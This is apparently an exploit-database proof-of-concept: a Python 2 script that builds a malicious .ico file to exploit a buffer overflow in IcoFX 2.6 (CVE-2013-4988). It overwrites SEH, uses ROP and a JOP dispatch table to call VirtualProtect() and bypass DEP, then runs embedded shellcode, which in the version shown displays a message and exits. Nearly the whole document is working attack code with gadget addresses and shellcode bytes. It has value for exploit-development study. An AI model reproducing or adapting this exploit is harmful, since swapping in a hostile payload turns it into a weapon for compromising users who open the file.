IcoFX version 2.6 .ico buffer overflow exploit with SEH and DEP bypass using JOP.
a51f6eaee0c3cdd145c2630ce9f96307
# Exploit Title: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP
# Date: 2020-05-20
# Exploit Author: Austin Babcock
# Vendor Homepage: https://icofx.ro/
# Software Link: https://drive.google.com/file/d/1SONzNStA_W3pAPU5IUvsYS3z0jYymEZn/view?usp=sharing
# Version: 2.6.0.0
# Tested on: Windows 7 Ultimate x64
# CVE: CVE-2013-4988
# Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu
# Payload Length: 1626 bytes
#While this is an older CVE, it is very rare to have a JOP chain available for a binary which is what this exploit attempts to demonstrate.
#Gadgets were found using the JOP ROCKET tool which is available at https://github.com/Bw3ll/JOP_ROCKET
#This exploit utilizes ROP to set up a JOP chain that will perform multiple stack pivots and call VirtualProtect().
#JOP utilizes a dispatcher gadget (#add ecx, dword ptr [eax] #jmp dword ptr [ecx]) to executes gadgets found within the dispatch table.
#The ECX register will hold the address of the dispatch table, which will be modified each time the dispatcher gadget executes.
#After each modification, ECX will point to the address of the next gadget in the JOP chain and "jmp dword ptr [ecx]" executes that gadget.
#Each functional gadget must end in a jmp or call to a register containing the address of the dispatcher gadget.
#In this exploit, ecx is used to hold the address of the dispatch table, and edi is used to hold the dispatcher gadget address.
#The dispatch table is located just after the shellcode in this exploit's payload. The address is loaded into ECX using ROP to programatically generate the correct address..
#!/usr/bin/python2
import struct
# Stuff we'll need for creating our malicious .ico
header = "\x00\x00\x01\x00\x00\x6F"
option = "\x02\x00\x00\x00"
pad2 = "\x41"*8
nseh = "\xfe\xff\xff\xff"
base = 0x400000
# SEH Overwrite with stack pivot - ADD ESP,0x800 # POP EBX # RET
seh = struct.pack('<L', 0x0044f012)
###########################
#### LOAD DISPATCH TABLE ADDR INTO ECX ####
#The dispatch table's address is calculated based off of the value of EBP, which is related to the paylaod's location in memory.
jopSetup = struct.pack('<I',0x00580ca8) # POP ECX # RETN <-
jopSetup += struct.pack('<I',0x0000000) #clear ecx
jopSetup += struct.pack('<I', base + 0x000e8643) # ADD ECX,EBP # RETN
jopSetup += struct.pack('<I', base + 0x00007c03) # POP EAX # RETN
jopSetup += struct.pack('<I',0x00009f0) # offset for disp table
jopSetup += struct.pack('<I', base + 0x00007c63) # ADD ECX,EAX # RETN # ecx = disp table
#### LOAD ADD VALUE PTR INTO EAX ####
#Since the dispatcher gadget uses the instruction "add ecx, dword ptr[eax]" to modify the address of the dispatch table,
#eax must point to a valid location in memory containing the value we want to add to ecx each time the dispatcher executes.
#In this case, eax will point to an address containing the value 0x00000004.
jopSetup += struct.pack('<I', base + 0x0029c000) # MOV EAX,ECX # POP ESI # RETN <-
jopSetup += struct.pack('<I',0x0000000) # junk
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN
#### LOAD WRITABLE ADDR OFFSET INTO EBX ####
#The gadget used for stack pivoting has an extra instruction (or byte ptr [ebx - 0x781703bb]) that cannot be avoided.
#In order to ensure this instruction does not cause problems, ebx-0x781703bb must point to a writable section of memory so
#that the instruction does not cause an access violation. This section makes sure ebx contains a compatible value.
jopSetup += struct.pack('<I', base + 0x00390000) # POP EBX # RETN
jopSetup += struct.pack('<I', 0x78c0609a) # needed for stack pivot JOP gadget -- offset to writable addr
#### LOAD DISPATCHER ADDR INTO EDI ####
jopSetup += struct.pack('<I',base + 0x00051423) # POP EDI # RETN
jopSetup += struct.pack('<I',base + 0x6d81) # disp gadget address
#Dispatcher:
#add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81)
#jmp dword ptr [ecx]
#### BEGIN JOP -- PERFORM STACK PIVOT ####
jopSetup += struct.pack('<I', base + 0x1623) # JMP EDI
table = struct.pack('<I',0x44444444) # padding
#PIVOT 40 BYTES
#Last POP will put VP ptr in EBP
for i in range(10):
table += struct.pack('<I', 0x588b9b) #pop ebp # or byte ptr [ebx - 0x781703bb], cl # jmp edi <-
#### CALL VirtualProtect() ####
#The derferencing gadget used to call VirtualProtect() has an offset of -0x71 bytes from ebp.
#To account for this, when the pointer for VirtualProtect() is loaded into ebp, 0x71 bytes are added to it in order
#to ensure that ebp-0x71 is the correct value for the pointer. This can be seen below.
table += struct.pack('<I',0x4c8eb7) #jmp dword ptr [ebp - 0x71] <-
# VP ptr + offset for jmp ebp gadget
vpPtr = struct.pack('<I',0x00bf6668 + 0x71)
############################################################################################
msg_sc = ("\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80"
"\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED"
"\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75"
"\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68"
"\x50\x21\x20\x01\x68\x78\x20\x4A\x4F\x68\x49\x63\x6F\x46\x89\xE1\xFE\x49\x0B\x31\xC0\x51"
"\x50\xFF\xD7")
# ExitProcess(0);
exit_sc = "\x31\xc0\x50\xb8\x00\x60\xbf\x00\xff\x10"
addesp = "\x81\xec\x00\x10\x00\x00" # Stack pivot at start of shellcode
shellcode = addesp + msg_sc + exit_sc
nopwrap = "\x90"*(0x168 - len(shellcode)) + shellcode + "\x90"*0x20
# padding until VP parameter location
paramPad = "C" *(36)
paramPad += vpPtr
### VIRTUAL PROTECT PARAMETERS ###
vpParams = struct.pack('<I',0x18f744) #return addr
vpParams += struct.pack('<I',0x18f744) #lpAddr
vpParams += struct.pack('<I',0x500) #dwSize
vpParams += struct.pack('<I',0x40) #flNewProt
vpParams += struct.pack('<I',0x00bf4d0a) #lpfOldProtect
# pad1 holds JOP Setup chain, VP() Parameters, Shellcode, Value for ADD, and Dispatch Table
pad1 = "A"*580 + jopSetup + paramPad + vpParams + nopwrap
addVal = struct.pack('<I',0x00000004) # how much for disp gadget to add to Dispatch Table address
pad1 += addVal
pad1 += table # dispatch table
pad1 += "B"*(0x640-len(pad1))
# Piece together our exploit
payload = header + pad1 + option + pad2 + nseh + seh
# Write out our malicious file
writeFile = open ("maliciousJOP.ico", "wb")
writeFile.write( payload )
writeFile.close()